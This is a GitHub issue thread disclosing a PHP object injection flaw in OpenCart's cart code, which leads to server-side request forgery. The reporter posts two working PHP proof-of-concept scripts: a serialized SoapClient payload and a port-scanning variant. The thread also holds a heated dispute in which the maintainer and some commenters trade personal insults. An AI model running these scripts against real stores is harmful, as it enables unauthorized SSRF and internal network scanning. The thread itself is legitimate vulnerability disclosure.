Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

PHP Object Injection Vulnerability #1534

Closed
EgiX opened this Issue Jun 4, 2014 · 22 comments

Comments

Projects
None yet
6 participants

EgiX commented Jun 4, 2014

After a failed attempt to privately report this issue to "Daniel" (who doesn't believe the issue to be real) on the official community forum, I decided to open this ticket, hopefully it will be taken into account now. OpenCart is prone to a remote PHP object injection vulnerability: the vulnerable code is located within the "Cart::getProducts()" method (system/library/cart.php), which passes to the "unserialize()" function the key values of the array stored into the "data[cart]" session variable. Such values might be manipulated by an unauthenticated attacker via the "quantity" POST parameter during an "update" request. I've been able to find only one possible attack vector: by abusing the destructor method of the "DBMySQLi" class it might be possible to carry out Server-Side Request Forgery attacks (CWE-918). However, other attack vectors might be possible leveraging magic methods defined in third-party extensions (http://www.opencart.com/index.php?route=extension/extension).

@danielkerr danielkerr closed this Jun 4, 2014

Contributor

danielkerr commented Jun 4, 2014

interesting how you open this github account only yesterday! im pretty sure you were banned before. when will you take the hint!!

after 3 times asking you to send me the vulnerability information you have now shown me that your are wasting my time again!

the fact that all qty post parameters all have (int) next to them shows you have no clue nor should be giving security advice!

Contributor

danielkerr commented Jun 4, 2014

even if you managed to get an object into the serialized data there are no wake methods to call.

EgiX commented Jun 4, 2014

  1. I opened this GitHub account just to submit the ticket, never registered before.
  2. I tried to be polite in reporting the issue, firstly using your contact form and then (seeing I haven't received any reply) using your community forum. I just asked for an email address where to send the vulnerability's details, but my request has been ignored, and then you replied "I don't consider your security issue to be real!" - I think it should be your concern to worry about the security of your product, but apparently it's a waste of time for you.
  3. It's true that the $qty parameters are casted to (int), however if you carefully read my report, you'll see that I said "key values", and I don't see any cast to the $key parameter within the "Cart::update()" method: https://github.com/opencart/opencart/blob/master/upload/system/library/cart.php#L317.
  4. What do you mean with "there are no wake methods to call"? As I said I've been able to find one possible attack vector, that means that I have a working PoC for that, and I'm ready to post it here, since you are so mistrustful about the validity of this security issue.

An advice for you: next time somebody will try to report a security issue to you, try to be more polite, especially considering he/she is trying to help in improving your open source software for free.

Contributor

opencarthelp commented Jun 4, 2014

@EgiX

I'm interested in addressing this in OpenCart Community Edition. Would changing the cart update() method to:

if ((int)$qty && ((int)$qty > 0) && isset($this->session->data['cart'][$key])) {
    $this->session->data['cart'][$key] = (int)$qty; 
    ...
}

fully resolve the issue?

EgiX commented Jun 5, 2014

Hi @opencarthelp,

Yes, I think so. Another possible solution would be to replace serialize with json_encode within the "Cart::add()" method, and unserialize with json_decode within the "Cart::getProducts()" method.

Contributor

danielkerr commented Jun 5, 2014

"I tried to be polite in reporting the issue, firstly using your contact form and then (seeing I haven't received any reply) using your community forum. I just asked for an email address where to send the vulnerability's details,"

it was not ignored dick head why lie! are you a professional or not? professionals don't need to lie to prove a point they use facts!

you have not sent any mails via *******@gmail.com since I have no support tickets or direct emails from this account!

3 times i asked you to send the details by private pm!

this is the 1st pm from me:

/////////////////////////////////////////////*/
Re: Security Vulnerability
Sent: Tue Jun 03, 2014 12:37 pm
by Daniel

bgmenot wrote:
Hello,

yesterday I've tried to contact you using your contact form. I discovered a security issue in OpenCart, please contact me privately at my email address (*******@gmail.com) in order to get the vulnerability's details.

Kind regards,
EgiX

OpenCart:

just tell me!
/////////////////////////////////////////////*/

2nd pm:

/////////////////////////////////////////////*/
Re: Security Vulnerability
Sent: Wed Jun 04, 2014 5:02 am
by Daniel

Re: Security Vulnerability
Sent: Tue Jun 03, 2014 9:27 pm
by bgmenot

I could also tell you using this account, however is a public account I found on bugmenot, so everyone can access this information. Though the severity of the vulnerability is not high, I thought you would like to read privately its details using your email address. Do you have an email address I can use for such purpose? Or do you prefer a PM over here?

OpenCart:

send me the xxxxxxxx issue!

are you xxxxxxx stupid! wasting my xxxxxx time!
/////////////////////////////////////////////*/

3rd time:

/////////////////////////////////////////////*/
Re: Security Vulnerability
Sent: Wed Jun 04, 2014 10:26 am
by Daniel

EgiX wrote:
Hello again,

I can understand the reason why you wanted to delete the "bgmenot" account, however I don't understand why you haven't contacted me to get the vulnerability's details. It sounds like you're not interested about the security of your product, or you're underestimating what I have found. At this point I'm not sure whether I still want to RESPONSIBLY report the vulnerability to you. Furthermore, I find it really irresponsible that you suggest to "report serious security bugs via a PM to an OpenCart moderator on the forum" and now you're just ignoring my attempt to report the security issue.

OpenCart:

I don't consider your security issue to be real! this is the 3rd message now and you have not sent me anything! send me information on the vulnerability or stop messaging me!
/////////////////////////////////////////////*/

you used a bugmenot account which was open to the public rather than contacting me using a private account!

this is not professional!

again your vulnerability is bullshit! while i understand how this would work there are no classes that would be preloaded that could cause any issues! you have done zero testing!

what are you 18, 19 20?

still at college?

http://karmainsecurity.com/about

stop bothering companies

http://karmainsecurity.com/blog

you don't seem to have done any proper research when you find vulnerabilities and have been lazy by just come up with conclusions not doing any real testing! also lying on public issue trackers!

EgiX commented Jun 5, 2014

I'm gonna ignore all you said just because I realized it's a waste of time try to deal with a stupid like you! However, I can't ignore your last accusation, since before saying that something is vulnerable, I always try to test it by writing a PoC. Since you're continuing to believe this "vulnerability is bullshit", I have no other options, and I have to post the PoC used to confirm it:

<?php

error_reporting(E_ERROR);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /opencart/\n\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

class DBMySQLi
{
    private $link;

    function __construct()
    {
        $this->link = new SoapClient(null, array('uri' => '', 'location' => 'http://test.com/'));
    }
}

$sid = md5(time());
$obj = urlencode(base64_encode(serialize(new DBMySQLi)));

$payload = "quantity[:{$obj}]=1";

$packet  = "POST {$path}index.php?route=checkout/cart HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Connection: close\r\n\r\n";

print http_send($host, $packet);

Like I said to you, I believe the severity of the vulnerability is not so high, however this is just my personal point of view, and someone might disagree with it: some people (like you) might believe this is something not to worry about, while other people might think this is a security issue which a software vendor should care about. Maybe you simply don't understand the risk:

  1. First of all, just because this is the only attack vector I found, it doesn't mean that someone smarter than me might be able to exploit the vulnerability in a more dangerous way.

  2. Considering the OpenCart extensibility, I guess this vulnerability might be exploited even leveraging magic methods defined in 3rd party extensions. However, as I read in your README.md file, this shouldn't concern you since it doesn't affect the OpenCart core, isn't it?

  3. As I said, from my personal standpoint the Server-Side Request Forgery attack vector is not something so critical. However, it might turn into something critical if abused by attackers in a targeted DDoS attack, leveraging all of the vulnerable OpenCart instances out there as zombie machines to carry out the attack. Furthermore, but I have not tested this, I think this vulnerability might exploited to map internal networks as well, like happened for the "WordPress Pingback Vulnerability".

Contributor

danielkerr commented Jun 5, 2014

so you are back to what if's! and 0 tests!

the above code would not work for another reason which is that the db class in opencart requires $hostname, $username, $password, $database fed into the constructor. even if you had this info the link would be overwritten on initiation.

"Furthermore, but I have not tested this, I think this vulnerability might exploited to map internal networks as well, like happened for the "WordPress Pingback Vulnerability"

Stop making wild guesses!

EgiX commented Jun 5, 2014

<< the above code would not work for another reason which is that the db class in opencart requires $hostname, $username, $password, $database fed into the constructor. even if you had this info the link would be overwritten on initiation. >>

So you said you understand how this would work, but seeing what you say now it's clear you have completely no idea what a PHP object injection vulnerability is, and how it could be exploited: it doesn't make any sense what you're stating, because the constructor method is not called on unserialized objects, as opposed to their destructor methods. Indeed my PoC leverages the destructor method of the "DBMySQLi" class, which calls the close method on its "link" property:

    public function __destruct() {
        $this->link->close();
    }

By setting the "link" property to an arbitrary SoapClient object, its __call method will be triggered, and that's where the Server-Side Request Forgery attack happens (NOTE: if OpenCart is running on outdated PHP versions this could also be exploited to carry out XXE attacks, see CVE-2013-1643).

So it seems you are the one which came back with 0 tests, while I tested and confirmed the vulnerability using the PoC posted before. Furthermore, I just confirmed also my "wild guess", and like the "WordPress Pingback Vulnerability" this one could be exploited both for DDoS attacks, by abusing vulnerable OpenCart websites as zombie machines, and for scanning internal networks or remote hosts, using a slightly modified version of my PoC:

<?php

error_reporting(E_ERROR);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

if ($argc < 4)
{
    print "\nUsage......: php $argv[0] <host> <path> <host to scan>\n";
    print "\nExample....: php $argv[0] localhost / 192.168.1.1";
    print "\nExample....: php $argv[0] localhost /opencart/ google.com\n\n";
    die();
}

list($host, $path, $host_to_scan) = array($argv[1], $argv[2], $argv[3]);

$ports = array(21, 22, 25, 53, 80, 106, 110, 143, 443, 631, 3306, 3389, 8443, 9999);

class DBMySQLi
{
    private $link;

    function __construct($host, $port)
    {
        $this->link = new SoapClient(null, array('uri' => '', 'location' => "http://{$host}:{$port}/"));
    }
}

print "[*] Scanning ports on {$host_to_scan}...\n";

foreach ($ports as $port)
{
    $sid = md5(time());
    $obj = urlencode(base64_encode(serialize(new DBMySQLi($host_to_scan, $port))));

    $payload = "quantity[:{$obj}]=1";

    $packet  = "POST {$path}index.php?route=checkout/cart HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cookie: PHPSESSID={$sid}\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Connection: close\r\n\r\n{$payload}";

    http_send($host, $packet);

    $packet  = "GET {$path}index.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Cookie: PHPSESSID={$sid}\r\n";
    $packet .= "Connection: close\r\n\r\n";

    if (preg_match('/500 Internal Server Error/', http_send($host, $packet))) print "[+] Port {$port} is opened\n";
    else print "[-] Port {$port} is closed\n";
}

Do you still believe this vulnerability is bullshit?!

opencarthelp added a commit to opencart-ce/opencart-ce that referenced this issue Jun 5, 2014

opencarthelp added a commit to opencart-ce/opencart-ce that referenced this issue Jun 5, 2014

Contributor

opencarthelp commented Jun 5, 2014

@EgiX

Please feel free to post any other issues you find in the OpenCart Community Edition github repo. You can also PM me in the forum under username "rph".

Contributor

danielkerr commented Jun 6, 2014

opencarthelp, i suggest you stop hijacking my threads!

EgiX, yes you are right constructor is not called! I thought it was. your vulnerability is still next to useless for any attacker!

I asked you 3 times for information which you refused to send me and instead just wasted my time! so congrats your banned!

EgiX commented Jun 6, 2014

@danielkerr original comment:

opencarthelp, i suggest you stop hijacking my threads! EgiX, yes you are right constructor is not called! I thought it was. anyway I don't like people being able to launch code they are not supposed to from out side of the store even if the vulnerability is low so i will change use json_encode instead.

You're still continuing to claim that the vulnerability doesn't exist, unbelievable!
Can you then explain why you decided to fix it?

8dcd368#diff-a624b79700f156e638d6bb5ae87b59dc

Contributor

danielkerr commented Jun 6, 2014

what i said is:

"vulnerability is still next to useless for any attacker!"

all the messing around sending pms on the forum for this!

Contributor

danielkerr commented Jun 6, 2014

also removed the code i was testing with. validating the cart key is better.

"I wonder why I've never used OpenCart" ... "oh right it's lead developer is retarded."

Nice find @EgiX, lol and thanks for the laugh :)

Contributor

DS-Matt commented Aug 4, 2014

@scottstamp -

While I don't agree with @danielkerr's response on this issue (or many others) - you're behaving in the same manner as @danielkerr by calling him derogatory names... essentially you look as foolish as @danielkerr.

@DS-Matt I disagree. While the word "retarded" used in this context is ableist, his criticisms of Mr. Kerr's attitude are on-point and proportionate. He's not thumbing his nose at security researchers trying to improve his project. "As foolish as @danielkerr" therefore is incorrect.

Contributor

DS-Matt commented Aug 4, 2014

@sarciszewski - I'm sorry, we will have to disagree on this one. While it's foolish to disregard a reported security threat, in my opinion the most foolish aspect of @danielkerr's handling of this issue (along with many other issues reported on Github) is his negative response (to insult and calling people derogatory names only hurts the Opencart Project's reputation)... Which is the exact same behavior @scottstamp did with his post today (it's worth noting that @scottstamp's actions were unsolicited and contributes nothing to any useful discussion), basically hurting his reputation for no benefit (unless he gets satisfaction from insulting others, which would be quite a sad reflection of his character than)... In my opinion behaving in a manor that is detrimental with no benefit seems very foolish!

Contributor

danielkerr commented Aug 5, 2014

@sarciszewski get this right. this is more of a minor bug than a vulnerability. this issue does not compromise the users site nor expose any information.

I asked @EgiX 3 times for the info and he refused to send it to me. nothing has been ignored, @EgiX has over exaggerated the issue. nothing needs to be done except add a fix in the next release.

Contributor

danielkerr commented Aug 5, 2014

@sarciszewski also your post in my forum has been deleted using the 1 click ban button for spam because you have 9 other posts about the same topic within 1 hour !

@DS-Matt these people are not part of the opencart community @sarciszewski only signed up to make 9 spam posts about this issue in the forum. does that sound like some one normal to you?

@scottstamp you need to grow a brain and lose some weight!

https://avatars3.githubusercontent.com/u/1681929?v=2&s=400

Go on a diet!

Contributor

danielkerr commented Aug 5, 2014

EgiX posted this:

http://seclists.org/bugtraq/2014/Jul/64

he completely forgets to mention that all opencart request vars run through a filter making all html is encoded into html entities! same goes for xml! so he gets to post a Vulnerability that does not even work!

he did 0 testing! this guy is a clown!

@jamesallsup jamesallsup locked and limited conversation to collaborators Aug 5, 2014

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.